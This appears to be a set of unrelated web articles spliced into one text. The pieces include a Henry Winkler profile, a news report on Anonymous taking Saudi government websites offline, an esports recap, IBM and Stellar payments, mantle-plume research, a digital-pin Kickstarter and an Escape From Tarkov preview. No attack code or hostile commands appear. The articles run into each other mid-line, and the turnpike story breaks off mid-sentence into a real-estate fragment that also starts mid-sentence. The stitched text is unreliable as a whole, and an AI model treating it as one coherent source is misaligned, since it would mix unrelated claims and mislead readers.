The toughest point in his career, he said, was “not being able to work from 1983 to really 1991 as an actor. ‘Happy Days’ is over. What do I do now? And I had no idea. And being rudderless is painful.”
To fill the void, Winkler became a producer. He helped to create the original “MacGgyver” TV series. And he directed. And while he was away working, Stacey raised their three kids.
“I knew that his first love was his work,” she said, “and I knew that he had to work in order to feel valued. My belief in him could not fill him, because he needed to feel that for himself.”
“That’s very candid,” Rocca said. “Your reaction?”
“My reaction is that I’m very lucky,” Henry replied.
And over the past 25 years, Winkler has worked constantly, in hundreds of movies and TV shows, including “Arrested Development.”
“I think he has grown and evolved so much that I see less and less of that self-doubt,” Stacey said.
Part of that confidence comes from a pastime that Henry and Stacey share: fly-fishing.
Rocca asked, “Henry, if there’s one word that this requires, what is it?”
“Patience,” he replied. “Tenacity.”
Henry Winkler and correspondent Mo Rocca, fishing on the Snake River in Idaho. CBS News
The Winklers have gone fishing in Montana, and on the Snake River in Idaho, for more than 25 years.
What hooked him? “The place of it,:” Henry said. “The sound of it. The green of it. And what happens when you’re fishing, you cannot concentrate on anything else. Not a problem in the world bothers you at this moment.”
And fly-fishing, Winkler says, gave him the courage to conquer his greatest fear: the written word. He is the co-author, along with Lin Oliver, of a series of books about Hank Zipzer, a fourth-grader who has trouble reading. Sound familiar?
“I am an actor, a producer, a director,” he said. “With Lin, we have written 32 novels, and I am in the bottom three percent academically in America.”
“We have written 4,476 words,” Oliver said, pouring over their latest book.
“Wow, and they’re all good!”
Their books have become bestsellers, and the basis for a popular TV series in Britain, “Hank Zipzer”:
Mr. Rock (Winkler): “Just because reading, writing and math might be hard for you, has nothing to do with how brilliant you are.”
Henry Winkler, America’s most famous teenager, is 71 now.
“You learn that where there’s a will, there’s a way,” he said. “I live by tenacity and gratitude. Tenacity gets you where you want to be, and gratitude allows you not to be angry or frustrated along the way. At this moment, when a lot of men my age are sitting at home, I am in the golden moment.”
Happy days, indeed!
For more info:Hacktivist group Anonymous have taken down many Saudi Arabian government websites in protest over the state's decision to behead and crucify 21-year-old Ali Mohammed al-Nimr. Al-Nimr was arrested when he was 17 over his involvement in alleged anti-government activities.
Campaigners have accused the government of targeting al-Nimr only for being the nephew of a prominent Shi'ite campaigner, Sheikh Nimr Baqr al-Nimr, who was sentenced to death for terrorism offences and "waging war on God". Al-Nimr's final appeal to courts was dismissed earlier in September and his sentence of death by crucifixion can now be carried out at any time.
Anonymous issued a video statement to Saudi Arabia on 22 September saying they would "not stand by and watch" as "innocent" Al-Namr is sentenced to death. The group called on Saudi Arabia to release the Al-Namir, citing reports that he had been denied a lawyer and subjected to torture. According to Reprieve, an anti-death penalty charity, Al-Namir was also forced to sign a confession in 2012, which was then used to sentence him to death 2014.
"Thousands of people die each year because of the Saudi Arabian government and they will now be punished for their actions," warned Anonymous in the video statement. "We do not forgive, we do not forget. Expect us."
However, Anonymous' warning was ignored by Saudi Arabian authorities, sparking them into further action. On Saturday (26 September) night, Anonymous announced that all Saudi Arabian government websites would be going offline.
The announcement was accompanied by another video, addressing the fact that the Saudi government had ignored Anonymous' last video and letter directed at them. They said that the Ministry of Justice website had been taken offline a few days ago and that they would continue to do the same to other government websites.
"Since you have ignored our wishes we will now take action for your ignorance," said the video message. "It was not a good idea to anger us, Saudi Arabian government. We hope you listen to us this time and release the young man. You will be treated as a virus and we are the cure."
The websites appeared to be back online on Sunday (27 September) afternoon, however, the group reported that the Ministry of Foreign Affairs had their website taken down for 8-10 hours the night before. Anonymous told IBTimes that there would be another "huge attack" later in the day.
Campaigners had hoped that Saudi Arabia's King Salman bin Abdulaziz would pardon Al-Namir's death row during the Eid period last week, however, there was no indication of this happening. The Kingdom has executed at least 175 people over the last 12 months, according to a report released by Amnesty International on 25 August.Asian Minor : A Synopsis from the Far East
R0mulus Blocked Unblock Follow Following Jun 4, 2017
On the first day of June, the minor circuit began for the eleventh Counter Strike Global Offensive major in Beijing, China. To the casual or even the hardcore Counterstrike esports fan the Asian minor may be a foreign and secluded scene, scaring them off from watching it. Those who did witness the event would know that it was full of amazing highlights, star players and interesting production, just like any other tournament. Luckily for all those fans watching ESL pro league finals and skipping out on the minor, I have the perfect summary for you.
Renegades with a Nifty tournament
Going into the tournament, many analysts and fans were afraid that renegades wouldn’t be able to win the minor, or even make it to the finals and be forced to return to America empty-handed.Their group stage performance did back this claim up as they suffered a heavy loss to the newly formed Flash Gaming and nearly went out of group to the Thai team Signature Gaming.Luckily for the fans down under Australia did start to show up post group stages and have two close series against one of the favorites to win, and rival Tyloo. A surprise to many, as it has always gone the other way in that rivalry for the past year. While the average fan was watching the Demolishing of NA teams in Dallas, the star of renegades actually hailed from the U.S.A. Nifty was given the role of AWP and according to an interview with teammate AZR, he is also given the burden of in-game leading due to Nexa being uncomfortable calling in English. Despite these two heavy burdens Nifty had an MVP worthy performance at the minor, destroying opponents with incredible counter terrorist aggression while being able to do a coin flip on the terrorist side and commit great executes and having great reads. An example of this would be knowing the infamous Asian aggression and lack of discipline on CT side,countering this by playing slow some rounds to insure picks. But as Niko learned, you can’t just have one player dominate and expect to win a tournament. The king of Aussie CS Justin “jks” Savage showed his talent in this tournament and was the key force behind their third map win which went to a 19–17 scoreline. After this tight series, the question for the land down under is wether they be able to translate this into a major qualification and use their tactics against higher caliber teams such as G2 and Hellraisers? Either way, the Aussies will be oi oing once again after this tournament.
Indonesian Superstar
At the beginning of 2017, there was a lot of drama surrounding Tyloo’s contracts with the players which caused a fractious breakup of 2 players and their praised coach. Many questioned the future of Tyloo and whether they would go into obscurity by picking up sub par Chinese players. Instead, they surprised many by picking up BnTeT, a player who absolutely destroyed his Indonesian brethren. Tyloo eventually picked up this player and honestly, whoever scouted this player should get a raise from the org. BnTeT has continued to show his prowess as he tore up the competition at China cup which including western teams such as Fnatic academy. In the Asian minor, BnTeT was able to perform well every game and clinching key rounds for Tyloo and carrying the team to the finals being dubbed as the “Asian Coldzera.” Even when they lost Karsa, Tyloo still were able to crush the lower tier team in the group stage and only loose 8 rounds. After a close loss to Renegades, the team persevered, with DD,mo,and somebody crushing their former teammates in a grudge match against Flash gaming. The team then had to face team Immunity to advance to the finals and clinch a spot to the major qualifier. To put this series lightly, if the VOD’s were uploaded onto pornhub, they would probably be taken down do to how gruesome they were. Immunity look like a shell of their normal play, only getting 3 rounds in total. Unfortunately for Tyloo and their passionate fans, they could not quite clinch the next series, making sloppy mistakes against Renegades. Fans may be hyped for their appearance at the major qualifier, but their magic may have ran out. A crutch for this team is the map Mirage, relying on this map for 66% of their map wins in playoffs and going 4–0 on it. No team was ever bothered to ban the map, which can point out other team’s inexperience and lack of scouting against the best Asian team. They are known for this map and have innovated A site executes which still work to this day against even the Gods of counterstrike. Beyond this map, they do not have any strong map choices that could be used against the likes of G2,Mousesports, or even Godsent. If teams learn for the faults of Immunity, Flash, and Renegades then Tyloo may just be happy with their runner up placing at the Minor.
Out in a Flash
This team has been in the dark from competition, being recently formed in march by the ex-Tyloo players who wanted to reach for the stars and perform betting. Pick up entry fragger LOVEYY, and pulling a Tyloo by scouting out the Phenom AWPer from Malaysia Kaze, their is perfect reason to see why the hype and expectations for this tournament were high. The beginning was a display of perfect aim with minimal tactics against the likes of Signature Gaming and crushing eventual winners Renegades on Cobblestone. Things started to pull a 180 for the high powered team in playoffs by not winning a single map to both Team Immunity and losing a heartbreaking series to former brothers Tyloo. Some reasons to this was a lack of ability to change up their style when it stopped working, demonstrated in the throw of map one against the Aussies. In the Tyloo series, it seemed to be just a simple lack of any players showing up, even their star AWP kaze didn’t have a good time against the Chinese. For the in-game-leader Karsa, it may be back to the drawing boards until the next Asian Tournament.
PGL Bring Some Pizazz to the UI
The in game user interface has for the most part stayed the same with very little changes being made over the years. No tournament host has ever been bold enough to mess with this until this month when the hosts of the major decided to make their mark. On the last day of the tournament, they displayed a new UI, which was a shock to everyone, including the analyst desk and casters. If revamped the scoreboard, the minimap, and the players health/statistics bar. The first appearance seems to be well received by fans and casters alike, hopefully to be returned to the Major in July. But one thing that hopefully won’t come back is the production errors. Every tournament will have some errors to it but there were some crucial events that hindered the viewing of the tournament. On day one of the event a huge internet error happened that was causing Renegades players to have severe problems, causing delays for hours in a heated third map which decided who advanced to playoffs. The game was eventually postponed until the next day where renegades advanced in a 16–11 score.Combine that travesty with a lag in the viewing on the last round of the first grand finals(https://clips.twitch.tv/VivaciousFantasticGuanacoBCWarrior) and you have to question the broadcast quality.
Play of the Tournament : The Nifty 1v5
https://www.youtube.com/watch?v=ZjGy73u8gMo
Every Tournament has its highlight play and in Asia it’s no different. The one play that stood out of me would be in the grand finals where Nifty was in a 1v5 against asian rival Tyloo. Tyloo had force bought that round, meaning that if they lost the round they would have to eco and give away more rounds to Renegades who were already ahead 6–3. The round started off horribly for the land down under, as they go nearly dry (while having full utility) onto the A site where BnTeT rips two member to shreds with double along with Somebody and Mo getting a kill each, causing a 1v5 scenario for Nifty. Instead of attempting to save the AWP, he decided to go all in and clutch, he picks of each player one by one and wins the round, guaranteeing that they win the first half, which eventually morphs into a 16–11 win for Renegades.45 SHARES Share Tweet
At Sibos 2017, IBM revealed the results of a partnership with blockchain startup Stellar in which it successfully settled real transactions using the company’s custom cryptocurrency, lumens. This process is designed to reduce the settlement time and lower the cost of completing global payments for businesses and consumers.
In this case, Stellar’s lumen digitally connects fiat currencies, allowing for nearly instant exchange without the consumer or buyer ever touching the cryptocurrency itself.
Currently, cross-border payments are limited to two fiat currencies: British Pounds and Fijian dollars. This early-stage platform that uses Stellar is designed to scale to many fiat currencies, including the Australian dollar, the New Zealand dollar and the Tonga pa’anga. IBM has partnered with a bunch of banking leaders in the world to make this possible.
For example, in the future, the new IBM network could make it possible for a farmer in Samoa to enter into a trade contract with a buyer in Indonesia. The blockchain would be used to record the terms of the contract, manage trade documentation, allow the farmer to put up collateral, obtain letters of credit, and finalize transaction terms with immediate payment, conducting global trade with transparency and relative ease.
IBM will continue to develop the solution with the goal of expanding capabilities in order to support central bank-issued digital currencies, securities, and bonds.
Source
How Did the Price of Stellar React?
Looking at Stellar Lumens over on CoinMarketCap, we can see that this news caused about a 100% increase in the last 24 hours.
If we look at the charts, we can see a massive increase in market cap as well.
Stellar is currently ranked #16 on CoinMarketCap at the time of writing this article (October 16, 2017 @ 12:30 PM)
For those of you who don’t know about either of the companies, here’s a little overview of the two:
What is IBM?
IBM is the leader in open-source blockchain solutions built for the enterprise. As an early member of Hyperledger, an open source collaborative effort created to advance cross-industry blockchain technologies, IBM is dedicated to supporting the development of openly-governed blockchains. IBM has worked with more than 400 clients across financial services, supply chains, IoT, risk management, digital rights management and healthcare to implement blockchain applications.
While IBM’s blockchain solutions are designed to complete much of the workflow around transaction clearing, the actual settlement will be conducted using Stellar’s blockchain in this case.
What is Stellar?
Stellar.org is a Silicon Valley based nonprofit organization that supports the Stellar network, a free, open-source network that connects diverse financial systems and lets anyone build low-cost financial services—payments, savings, loans, insurance—for their community. The Stellar network enables money to move directly between people, companies and financial institutions as easily as email. This inter-connectivity means more access for individuals, lower costs for banks, and more revenue for businesses.The massive $2.5 billion project to widen the New Jersey Turnpike between Interchange 6 and 9 is tentatively scheduled to open to traffic on this weekend, starting with the northbound lanes.
Crews are finishing up the final work on what amounts to 170 miles of new lanes to widen the turnpike from 6 to 12 lanes, which began in June 2009.
"The plan is to open the northbound lanes this weekend and the southbound lanes the following weekend," said Thomas Feeney, turnpike authority spokesman.
Final work on the northbound lanes will be done Friday night in to Saturday morning with a tentative opening to traffic "sometime Saturday", weather permitting. Feeney said
Final paving is being finished Tuesday, to be followed by striping and line painting, said Robert Fischer, chief engineer. The project is finishing ahead of the official completion date of mid-November, he said.
That final work, including moving barriers and changing signs is weather dependent and the opening could be postponed if rain is forecast, he said. Wet weather is forecast for the next two days, but Friday's ceremonial event is scheduled to take place, rain or shine, Feeney said.
The project is the largest in the |
in the area while Kristen Stewart bought a ranch-style property for $2.2million.
Red, white and blue: The kitchen decor is kept simple but patriotic in tone
California living: The breezy tone of the decorations makes it a relaxed setting
Spick and span: The clean lines of the kitchen make the most of the small space... and comes with a Jane Fonda workout book
Putting the celebrity factor aside, high-end estate agents warned in a recent report that exclusive neighborhoods across the U.S. are suffering a housing shortage.
According to figures from real estate firm Altos Research, a scarcity of housing inventory is especially prevalent in some of America’s wealthiest ZIP codes. Across the country’s 90 richest ZIP codes stock has fallen 15 per cent year-over-year, but in the very richest ZIP codes inventory has dropped more than 50 per cent year-over-year. In Carmel, California inventory of homes priced over $1 million drop 76 per cent. The California market, especially areas like Carmel and Pebble Beach, have seen a rush of buyers from Silicon Valley, Europe and Asia. ‘We are seeing an influx of luxury second home buyers coming into the market including venture capitalists, tech money, oil and gas, developers and CEO's,’ said Tim Allen, of Tim Allen Properties in Pebble Beach, told CNBC. Lavish: The half a million-dollar property has a rather ornate bathroom
Working from home: The property even has room for a home office
Welcome in! The property, close to Los Feliz village in Hollywood, has a beachy vibe
Hideaway: The bedroom is tucked behind a screen door from the en-suite bathroom
Compact: Designers have made the best of the space with innovative storageUniversity of California, Berkeley, seismologists have produced for the first time a sharp, three-dimensional scan of Earth's interior that conclusively connects plumes of hot rock rising through the mantle with surface hotspots that generate volcanic island chains like Hawaii, Samoa and Iceland.
Essentially a computed tomography, or CT scan, of Earth's interior, the picture emerged from a supercomputer simulation at the Department of Energy's National Energy Research Scientific Computing Center (NERSC) at the Lawrence Berkeley National Laboratory.
While medical CTs employ X-rays to probe the body, the scientists mapped mantle plumes by analyzing the paths of seismic waves bouncing around Earth's interior after 273 strong earthquakes that shook the globe over the past 20 years.
Previous attempts to image mantle plumes have detected pockets of hot rock rising in areas where plumes have been proposed, but it was unclear whether they were connected to volcanic hotspots at the surface or the roots of the plumes at the core mantle boundary 2,900 kilometers (1,800 miles) below the surface.
The new, high-resolution map of the mantle -- the hot rock below Earth's crust but above the planet's iron core -- not only shows these connections for many hotspots on the planet, but reveals that below about 1,000 kilometers the plumes are between 600 and 1,000 kilometers across, up to five times wider than geophysicists thought. The plumes are likely at least 400 degrees Celsius hotter than surrounding rock.
"No one has seen before these stark columnar objects that are contiguous all the way from the bottom of the mantle to the upper part of the mantle," said first author Scott French, a computational scientist at NERSC who recently received his Ph.D. from UC Berkeley.
Senior author Barbara Romanowicz, a UC Berkeley professor of earth and planetary science, noted that the connections between the lower-mantle plumes and the volcanic hotspots are not direct because the tops of the plumes spread out like the delta of a river as they merge with the less viscous upper mantle rock.
"These columns are clearly separated in the lower mantle and they go all the way up to about 1,000 kilometers below the surface, but then they start to thin out in the upper part of the mantle, and they meander and deflect," she said. "So while the tops of the plumes are associated with hotspot volcanoes, they are not always vertically under them."
Ancient anchors
The new picture also shows that the bases of these plumes are anchored at the core-mantle boundary in two huge blobs of hot rock, each about 5,000 kilometers in diameter, that are likely denser than surrounding rock. Romanowicz estimates that those two anchors -- directly opposite one another under Africa and the Pacific Ocean -- have been in the same spots for 250 million years.
French and Romanowicz, who also is affiliated with the Institut de Physique du Globe and the Collège de France in Paris, will publish their findings in the Sept. 3 issue of the British journal Nature.
Earth is layered like an onion. An exterior crust contains the oceans and continents, while under the crust lies a thick mantle of hot but solid rock 2,900 kilometers thick. Below the mantle is the outer core, composed of liquid, molten iron and nickel, which envelopes an inner core of solid iron at the center of the planet.
Heated by the hot core, the rock in the mantle rises and falls like water gently simmering in a pan, though this convection occurs much more slowly. Seismologists proposed some 30 years ago that stationary plumes of hot rock in the mantle occasionally punched through the crust to produce volcanoes, which, as the crust moved, generated island chains such as the Galapagos, Cape Verde and Canary islands.
The Hawaiian Islands, for example, consist of 5 million-year-old Kauai to the west but increasingly younger islands to the east, because the Pacific Plate is moving westward. The newest eruption, Loihi, is still growing underwater east of the youngest island in the chain, Hawaii.
Until now, evidence for the plume and hotspot theory had been circumstantial, and some seismologists argued instead that hotspots are very shallow pools of hot rock feeding magma chambers under volcanoes.
Romanowicz, who uses seismic waves to study Earth's interior, had previously worked with French, then a graduate student, on a tomographic model of the upper 800 kilometers of the mantle, which showed periodic hot and cold regions of rock underlying hotspot volcanoes. The new study completes that picture down to the core-mantle boundary.
She noted that if higher temperature alone were responsible for the rising plumes, they would be only 100-200 kilometers wide, ballooning out only when they approach the surface. The fact that they appear to be five times wider in the lower mantle suggests that they also differ chemically from the surrounding cooler rock.
This supports models where the material in the plume is a mixture of normal mantle rock and primordial rock from the dense rock anchoring the plume at the core-mantle boundary. In fact, lava emerging from hotspot volcanoes is known to differ chemically and isotopically from lava from other volcanoes, such as those erupting at subduction zones where Earth's crust dives into the upper mantle.
The supercomputer analysis did not detect plumes under all hotspot volcanoes, such as those in Yellowstone National Park. The plumes that feed them may be too thin to be detected given the computational limits of the global modeling technique, French said.
Millions of hours of computer time
To create a high-resolution CT of Earth, French used very accurate numerical simulations of how seismic waves travel through the mantle, and compared their predictions to the ground motion actually measured by detectors around the globe. Earlier attempts by other researchers often approximated the physics of wave propagation and focused mainly on the arrival times of only certain types of seismic waves, such as the P (pressure) and S (shear) waves, which travel at different speeds. French used numerical simulations to compute all components of the seismic waves, such as their scattering and diffraction, and tweaked the model repeatedly to fit recorded data using a method similar to statistical regression. The final computation required 3 million CPU hours on NERSC's supercomputers, though parallel computing shrank this to a couple of weeks.
Romanowicz hopes eventually to obtain higher resolution supercomputer images of Earth's interior, perhaps by zooming in on specific areas, such as that under the Pacific Ocean, or by using new data.
"Tomography is the most powerful method to get this information, but in the future it will be combined with very sensitive gravity measurements from satellites and maybe electromagnetic sounding, where people do conductivity measurements of the interior," she said.Power the Grid is a real-time-strategy tycoon game that simulates the power grid. Control multiple power-plants, manage resources and invest in renewable energies, all this while supplying the energy demand.
Chat with the developer and supporters at https://discord.gg/WARw<wbr>FRM
Support this game on Patreon and enjoy:
- Patreon exclusive game builds with more content/technologies/features
- The chance to vote on development choices
- Future Steam or Crowdfund credits (equal to your support)
- Patron exclusive development progress posts
I am self taught game developer and student of energy and environment. I have been developing this game that I dream about for the past 2 years, now it is ready to play!
With your support I'll able to dedicate full time to this project and expand my team so the game gets developed faster.
Power the Grid is a strategy game where you manage the electric grid by operating different power-plants, managing resources and investing in renewable sources.
Do you've got what it takes to be an energy manager?
Please leave your rating/feedback below and help shape the development of this game!
Music by Kevin MacLeod, Danger Storm, Secrets of the Schoolyard. Available under the Creative Commons Attribution 3.0 https://creativecommons.org/licenses/by/3.0/
https://incompetech.com/ (Kevin MacLeod Website)Five-handkerchief
coming-out story
hits a nerve online
HOW DOES ONE human being reveal love for another?
Arguably, the three most difficult words to utter for the first time to another person in the English language are: “I love you.”
They are even more excruciating for a young gay man coming to terms with his same-sex attraction.
A nine-minute video written and performed by an Australian high school student exploring this topic – with a twist – has become an internet sensation.
Kim Ho, 17, shares his angst over revealing his love for another boy in French class in “The Language of love,” which has been viewed more than 160,000 times on You Tube.
He told the backstory in an interview aired Wednesday on Public Radio International.
Watch the videos below the fold.
“ ‘The Language of Love’ is about an Australian teen named Charlie who’s in the middle of taking a French exam,” says PRI on its web site.
“He’s having a dialogue with himself, contemplating typical teenage stuff when he suddenly realizes something big; he’s in love with his best friend, another boy named Sam.”
Reach for the Kleenex. This is a five-handkerchief experience.
The nine-minute version of Ho’s contemplation about the risks and rewards of coming out to Charlie is based on a three minute original “Transcendence” posted on April 9.
Speaking mostly into the camera, Ho recounts: “He was sitting right in front of me. Not (the teacher) Mr. Edgerton. Sam.
“Shy, inarticulate Sam with his quiet grace and eyes that smile…. There was something funny that happened, and he turned around and smiled … at that moment everything felt OK. It didn’t feel like I was some kind of freak, poofter, faggot … Life’s not black and white. There are shades of …. gay.”
The original seems to have been overlooked by the rapidly growing audience. It has been viewed fewer than 5,000 times.
“Why does it have to define you? Always?” Ho (as Charlie) continues. “Why is it a “choice” that you can’t control?
“People say it’s weird and just not normal. Isn’t that the point of love? To transcend normalness and become something special … That has to be the case with me. Otherwise I have nothing.”
IN THE LINER NOTES we learn that Charlie is struggling with French and the language of love.
The original video “Transcendence” was written and performed by Ho for The Voices Project 2012, as part of the online monologue competition Love Bytes.
“Ho then worked with playwright Tommy Murphy and filmmaker Laura Scrivano to develop the piece further,” we learn.
The result, “The Language of Love,” as of Thursday, had been viewed more than 166,000 times.
Ho told PRI that his nine-minute film was inspired by a commercial that aired on Australian television. He said the response from his classmates had been overwhelmingly positive.
“His other inspiration was a love song of course. “This Old Love” is by Israeli-Australian singer songwriter, Lior.”
You can view both of these sources of inspiration at “The Language of Love: One Aussie Teen’s Short Film on Unrequited Love” by Nina Porzucki.
There is also another nine-minute video “Making the language of love” which tells the backstory. It has been viewed almost 20,000 times.
It’s liner note says:
“Writer/performer Kim Ho, mentor Tommy Murphy and director Laura Scrivano, on the making of “The language of love.”
Love is a universal emotion. Everyone single one of us can identify with the issues so delicately explored in this intimate personal coming out.
Watch the original here:
Watch the smash hit expanded version here:
FEEDBACK: Contact site admin directly
Email AdministratorClint Eastwood was at a party on the eve of the AT&T Pebble Beach National Pro-Am when he noticed a man choking. The 83-year-old actor grabbed the man, who turned out to be tournament director Steve John, and performed the Heimlich maneuver.
“I was drinking water and eating these little appetizers, threw down a piece of cheese and it just didn’t work,” John told the Associated Press. “I was looking at him and couldn’t breathe. He recognized it immediately and saved my life.”
“I looked in his eyes and saw that look of panic people have when they see their life passing before their eyes,” Eastwood told The Carmel Pine Cone, adding that it was the first time he performed the Heimlich. “It looked bad.”
Eastwood may not be as young as he once was, but don’t think for a second the man who brought Dirty Harry to life has lost a step.
“I can’t believe I’m 202 pounds and he threw me up in the air three times,” John said.
Confirmed: Clint Eastwood has old man strength.
More astounding than Eastwood’s superhuman strength is the fact that this is the second time John almost killed himself trying to eat.
“It was in Colorado about seven or eight years ago. But it wasn’t Clint Eastwood,” he said. “I haven’t talked to him since that night. It was crazy.”
You gotta take smaller bites.
Eastwood has strong ties to the Pebble Beach event. He has played in the tournament before and he chairs the Monterey Peninsula Foundation which has raised over $100 million for charity as the host of the PGA Tour event.Credit: About:Blank
The World's Most Expressive Pin
We wanted to transform the classic round shaped pin into a modern wearable. We made a digital pin that lets you voice any opinion, express love to your favourite artist or the support of the cause you are engaged in – and to change between these with just a few clicks.
This wearable doesn’t measure your heartbeat, it won't track your position and we most definitely wont count any calories! The pin does one thing – it enhances your personality. It’s an accessory that lets you wear any of your favourite artists, designer or illustrator on your collar, clothes, bags or anywhere. Based on the mood you are currently in.
Create, Upload and Wear
Wear Ready-made Designs
Our user-friendly iOS and Android app makes it really simple to change the content on the pin. The easiest way is to use a design someone else has created. Click on a design you like and then use the button “Wear on pin” and it will be uploaded to the pin in less than a second.
Create or Upload your own Designs!
It's really easy to make your own designs with our in-app creator, regardless of your artistic skills. You can write any text, use background patterns and colours based on your current state of mind. If you prefer you can take a picture and upload to your pin or combine it all with a sweet gif you’ve created!
A Social and Creative Community
The Community
We are starting a creative community for people who want to design, share and express themselves through illustrations, pictures, logos or gifs. Find others that are passionate about the same band, artist or causes as you and collaborate with them to get the word out!
Credit: About:Blank, Karl Striker & Sketchonista
You can follow friends, family or your favourite people or brand! In an instant you and your friend can wear any design you have created or downloaded.
For Artists, Brands and Designers
The idea of creating a creative community offline as well as online is what is most important to us! We are already building a network with some really awesome designers, illustrators and street artists who have started to contribute with their work to the community!
Credit: Sketchonista, About:Blank & Mia Wiking
Artists, brands, designers, and organisations can open up their own accounts within the app, and they can choose to upload and share official merchandise to the community. During this campaign we are working with some really talented designers that have contributed with artwork for our pins. These artists are:
Karl Striker
About:Blank
Sketchonista
Mia Wiking
Steve Wolf
Wear and Use as you Like
We set out to create a digital wearable pin, and we quickly realised the extreme versatility of the pin and the in-app creator so expect to see more developments and exciting news during the campaign
Every person that we presented the concept to has their own take on when, where and how they would use the pin. Ideas from users so far are:
wearing on a collar
pinning to bags
wearing as a necklace
desktop reminder
baby on board' notice on transport
Credit: Sketchonista
Integrate your Own App with the Pin Using our Development Kit
We are building a platform that makes it possible to integrate your own app with the pin. Later this year we will release a PinOS platform and a SDK that will let anyone innovate and create their own applications for the pin.
Stretch Goals
When we planned our Kickstarter we didn’t want to complicate things and stayed with a white version along side two limited versions in silver and gold. During the campaign there has been requests for more colours and a way to attach the pin to ones clothes with a magnet instead of a needle. We think that both ideas are great but haven’t made any budget for them. Therefore we decided to add two stretch goals, if we reach them we can definitely make them and if we don’t we will make a true effort to fit them within the current budget.
- If we reach 95 000 USD we will make the matte black pin in production (you will be able to choose white or black when we get closer to production).
- If we reach 115 000 USD we will design and ship a solution that enables you to choose if you want to attach the pin with a needle or a magnet.
The People Behind Pins Collective
We have together more than 30 years of project management experience within business and technology. We are used to owning and managing large-scale and complex projects and have worked with some of the largest companies in the Nordics, bringing innovations to life. We love what we do and are excited and dedicated in bringing Pins Collective to you.
Countless hours have been spent on designing the pin and finding manufacturers with the right know-how. Our team at Pins Collective teamed up with the amazing guys as People People (we got invaluable contribution from Johan Frössén) and Topp who helped us with every stage of the process, from inception to prototype.
We have, in the process, truly made a collective effort in getting this from paper to prototype. Pins Collective is grateful to all of the help, ideas, and designs that people have given us on the way, and we look forward to seeing you become part of this process by backing us and joining our creative collective!
Cheers!
Olof Sjöstedt, Fredrik Glans & Helene Hamilton
Pins Collective in Social Media
During our Kickstarter campaign we will do daily updates on our social media accounts with new images, designs and gifs from designers we have teamed up with. Follow us on your favourite channel so don't miss out!
Pin Specifications
The Reflexive LCD Screen – for Outdoor and Indoor Use
The round 1.34 inch screen is semi reflective and semi backlit. This makes the screen very versatile as the image gets sharper when sunlight hits it. But, as it is backlit it works really well indoors as well. The technology used is also very energy efficient and has a low energy consumption. Below we try to show this reflective and backlit feature as well as the current state of our working prototype (work in progress).
Breakdown of the pin
Dimensions
• Diameter: 1.96 in / 5 cm
• Weight: 0,56 oz. / 16 grams
Screen
• Diameter: 1.34 in / 3,40 cm
• Dots: 77 782
• Colors: 262K
Battery (expected):
• Still Picture: 74 hrs
• Moving Picture (30hz): 2,5 hrs
Compability
• iOS
• Android
Charging
• Micro USB
The Project
Since day one of the prototyping phase, Pins Collective have worked closely with a manufacturer that has a well established reputation of moving projects like ours from the current prototype phase through the industrialization process and in to full scale production. This company have helped us with the sourcing of components and done all the CAD-work needed to design and create the final pin. They have also delivered the board prototype that we needed in order to show how the overall experience would be and how the reflective LCD works. We are very confident that we, with their assistance, have created a solid project plan for our coming stages.
Up until now we have put a lot of emphasis on finding the right screen, perfected the design and user experience. The design work is completed, we have a functional board prototype, and the appearance models have been manufactured to perfection based on the 3D CAD models. We’ve also put a lot of effort into the app prototype, as we think it is key to the experience.
Our upcoming challenges are now on the technical side. In the current phase we are miniaturizing the prototype and putting the components within its final form factor. As this is something we at Pins Collective haven’t worked on before we rely on our technical partner for this to be made. Our resources have gotten us this far but in order to take the next step towards production, we need your help.
The Making of...
If you are further interested in the process that took us here we encourage you to visit our blog where we have published text, pictures and short clips about start up life in general and the project in particular.When DayZ broke onto the scene some years ago it single-handedly created a new, best selling genre. Since then survival games have been coming out quickly. Some might say too quickly. For every unique, influential title like Ark: Survival Evolved or Rust there's a half dozen half-finished budget titles with wonky gameplay. From what we've seen in an early live demo, Escape From Tarkov could be the next title to push the genre forward.
Just a few weeks ago the team at Battlestate Games hosted the first ever live gameplay demo of Tarkov on Twitch, and after watching the entire stream I reached out to the developers to learn more. After a bit of translation from Russian, here's a breakdown on what we know about the game.
Tarkov is a fictional Russian city located near St. Petersburg. In the fiction of the game, it's been recently ravaged by war and both UN and Russian regular army forces are still operating in the area.
Players can take the role of one of three factions. BEAR is a team of Russian private military contractors. They're opposed by USEC, a similarly geared-up Western PMC. A third faction, called Scavs, is made up of residents and migrants trapped inside Tarkov and trying to survive. Gameplay is squad-based, tactical and first-person.
What initially sets Tarkov apart is its gunplay. The game includes a full ballistics model, including bullet drop, ricochets and bullet penetration. That means rounds can deflect off hard surfaces like concrete walls and even roads, making suppression fire extremely effective. Penetration even takes into account internal deflection, meaning rounds can enter soft objects — including other players — and exit going in a different direction.
The other unique aspect of Tarkov is that unlike DayZ, which is played on a single massive map, Tarkov intends to be broken out into discrete connected environments. During the demo the team showed only a single area of industrial buildings, including gas stations and worker's dormitories. But the vision is to have this area connected to a nearby factory map on one side, and a suburban area on the other.
In order to get to a particular raid location, players will have to fight their way in across multiple maps.
Play sessions focus around scenario-based raids. In order to get to a particular raid location, players will have to fight their way in across multiple maps. Maps will have multiple exits and entrances, and it will be up to experienced players to lead their fireteam carefully through the environments by dead reckoning.
Of course you can drop in solo, or get matched up with other random players in the same faction. Eventually, the team tells us, you'll be able to create parties of up to five friends and drop in together.
Once in the game world though, there's no way of knowing who else is in there with you. There's no map, no radar and virtually no HUD.
"Just like in real life, to detect enemies, you’ll have to rely on your eyesight, hearing and attention," Nikita Buyanov, project leader and producer, told Polygon. "You have no way of knowing if there is anybody at the location you enter, just like when you enter an unfamiliar room or building in the real world. You can’t see who is playing before starting the game, and even after starting the game, you won't know who's in there."
The game is so hardcore that even checking how much ammunition is in your weapon requires you to drop the magazine and visually inspect it.
An unusual, and as yet poorly defined feature, is a so-called karma system. It's not recommended that players go around engaging in firefights indiscriminately in Tarkov. When you kill PMCs or Scavs it sticks with you, and the effect is that you'll begin to "draw the short straw" more often, Buyanov said. That can result in more frequent weapon jams or persistent illnesses. Nothing game-breaking, but bad karma is designed to be annoying for "those who have wronged their fellow players."
At your disposal will be at least six weapon platforms, including a Kalashnikov and an M4 variant as well as pistols and shotguns. Weapon customization is a quantum leap from the Call of Duty series, and looks to be even more complex than Arma 3. It includes dozens of points on each weapon to add different stocks, furniture, firing pins and even multiple sets of optics on the same or different rails.
"Everything, and we mean everything, on your weapons can be replaced," Buyanov said. "Although it’s not yet implemented, we're making it so you can even replace the trigger [action] or place a rubber butt plate on a stock. Basically, the main idea behind customization is that you have to be really familiar with real-world weapon modding —we don't try to simplify it."
